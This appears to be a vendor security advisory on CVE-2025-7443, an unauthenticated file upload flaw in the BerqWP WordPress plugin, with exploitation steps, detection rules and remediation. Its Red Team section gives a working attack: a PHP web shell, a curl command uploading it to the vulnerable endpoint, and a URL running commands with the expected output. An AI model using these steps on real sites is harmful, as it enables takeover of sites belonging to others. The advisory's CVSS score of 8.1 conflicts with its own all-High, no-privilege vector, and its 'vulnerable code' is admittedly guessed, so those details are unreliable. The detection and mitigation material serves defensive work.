CVE-2025-7443

Executive Summary

CVE-2025-7443 is a critical unauthenticated arbitrary file upload vulnerability affecting the BerqWP – Automated All-In-One Page Speed Optimization WordPress plugin, versions up to and including 2.2.42. The flaw resides in the store_javascript_cache.php file, which fails to validate the file type of uploaded content. This allows any unauthenticated attacker to upload arbitrary files (e.g., PHP web shells) to the server, leading to remote code execution (RCE) and full site compromise.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx) software. The plugin is designed to optimize Core Web Vitals, caching, CDN, images, CSS, and JavaScript, making it a high-value target for attackers seeking to compromise performance-critical sites.

Supply Chain & Package Security

This vulnerability is distributed via the official WordPress plugin repository. Any site running the BerqWP plugin version 2.2.42 or earlier is at risk. Since no patch is currently available, site administrators must consider this a supply chain risk and either remove the plugin or implement strict virtual patching.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the severe impact (full RCE). The EPSS score of 0.0% suggests low current exploitation activity, but this may change rapidly as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability exists in the store_javascript_cache.php file, which is part of the BerqWP plugin's caching mechanism. This endpoint is intended to store cached JavaScript files, but it does not enforce any file type restrictions on the uploaded content. The upload handler likely uses move_uploaded_file() or similar PHP functions without checking the file extension or MIME type.

An attacker can craft a POST request to the vulnerable endpoint with a malicious PHP file (e.g., shell.php) containing web shell code. The file is stored in a web-accessible directory (e.g., /wp-content/uploads/berqwp/ or similar), allowing the attacker to execute arbitrary PHP commands by accessing the uploaded file.

The lack of authentication means any unauthenticated visitor can trigger the upload. The missing file type validation is the core weakness, as the plugin should restrict uploads to .js or .css extensions only.

Vulnerable vs. Patched Code

Since no official patch is available, the following represents the vulnerable code pattern and a hypothetical secure implementation.

Vulnerable Code (store_javascript_cache.php):

<?php
// No authentication check
// No file type validation
$upload_dir = wp_upload_dir();
$target_file = $upload_dir['basedir'] . '/berqwp-cache/' . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Hypothetical):

<?php
// Ensure user is authenticated (if required)
// if (!current_user_can('manage_options')) { wp_die('Unauthorized'); }

$upload_dir = wp_upload_dir();
$allowed_extensions = array('js', 'css');
$file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));

if (!in_array($file_extension, $allowed_extensions)) {
    wp_die('Invalid file type.');
}

$target_file = $upload_dir['basedir'] . '/berqwp-cache/' . sanitize_file_name($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
echo "File uploaded successfully.";
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with BerqWP plugin version <= 2.2.42 installed and activated.
• Attacker machine with curl or a web browser.

Exploitation Steps:

1. Identify the vulnerable endpoint: The endpoint is typically located at:

   http://target.com/wp-content/plugins/berqwp/includes/store_javascript_cache.php
   

2. Craft a malicious PHP file (shell.php):

   <?php
   system($_GET['cmd']);
   ?>
   

3. Upload the file using curl:

   curl -X POST -F "file=@shell.php" http://target.com/wp-content/plugins/berqwp/includes/store_javascript_cache.php
   

4. Execute commands: The uploaded file will be stored in the uploads directory. Determine the exact path (e.g., /wp-content/uploads/berqwp-cache/shell.php) and access it:

   http://target.com/wp-content/uploads/berqwp-cache/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor file uploads to the plugin directory:

   • Look for POST requests to /wp-content/plugins/berqwp/includes/store_javascript_cache.php.
   • Alert on any file uploads with non-standard extensions (e.g., .php, .phtml, .php5).

2. Check for unexpected files in uploads:

   • Scan /wp-content/uploads/berqwp-cache/ for files with .php extensions.
   • Use file integrity monitoring (e.g., OSSEC, Tripwire) to detect new files.

3. Review web server logs:

   • Search for requests to store_javascript_cache.php with POST method.
   • Look for subsequent requests to uploaded files with cmd or exec parameters.

4. Implement virtual patching:

   • Use a WAF (e.g., ModSecurity) to block uploads to the vulnerable endpoint.
   • Example ModSecurity rule:

     SecRule REQUEST_URI "/wp-content/plugins/berqwp/includes/store_javascript_cache.php" "id:1001,phase:1,t:lowercase,deny,status:403,msg:'BerqWP File Upload Exploit Attempt'"
     

Indicators of Compromise (IOCs)

File-Based IOCs:

• Suspicious files in /wp-content/uploads/berqwp-cache/ with .php, .phtml, .php5, .shtml extensions.
• Files named shell.php, cmd.php, backdoor.php, or similar.

Network IOCs:

• POST requests to /wp-content/plugins/berqwp/includes/store_javascript_cache.php with Content-Type: multipart/form-data.
• Subsequent GET requests to uploaded files with query parameters like cmd, exec, command.

Log IOCs:

• Web server access logs showing:

  POST /wp-content/plugins/berqwp/includes/store_javascript_cache.php HTTP/1.1
  GET /wp-content/uploads/berqwp-cache/shell.php?cmd=id HTTP/1.1
  

Detection Engineering

YARA Rule

rule CVE_2025_7443_BerqWP_File_Upload {
    meta:
        description = "Detects malicious PHP files uploaded via CVE-2025-7443 BerqWP vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7443"
    strings:
        $php_tag = "<?php"
        $system_func = /system\s*\(/
        $shell_func = /shell_exec\s*\(/
        $cmd_param = "cmd="
    condition:
        $php_tag and ($system_func or $shell_func or $cmd_param)
}

Sigma Rule

title: BerqWP Unauthenticated File Upload Attempt
id: 8f7b3c2a-1d5e-4f6a-9b8c-0d1e2f3a4b5c
status: experimental
description: Detects POST requests to the BerqWP store_javascript_cache.php endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-content/plugins/berqwp/includes/store_javascript_cache.php'
    condition: selection
falsepositives:
    - Legitimate plugin cache operations (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7443 BerqWP Unauthenticated File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-content/plugins/berqwp/includes/store_javascript_cache.php"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the BerqWP plugin until an official patch is released.
2. Remove the vulnerable file manually:

   rm /path/to/wp-content/plugins/berqwp/includes/store_javascript_cache.php
   

3. Scan for compromised files in the uploads directory and remove any suspicious PHP files.

Long-Term Mitigation:

• Monitor the plugin's official page for a patched version (>= 2.2.43).
• Implement a Web Application Firewall (WAF) with rules to block uploads to the vulnerable endpoint.
• Restrict file upload permissions in wp-config.php:

  define('DISALLOW_FILE_EDIT', true);
  define('DISALLOW_FILE_MODS', true);
  

• Use a security plugin (e.g., Wordfence) to block malicious file uploads.

Workaround:

• If the plugin is critical, add the following to .htaccess to block direct access to the vulnerable file:

  <Files "store_javascript_cache.php">
      Order Allow,Deny
      Deny from all
  </Files>
  

Valters IT
Securing Digital Frontiers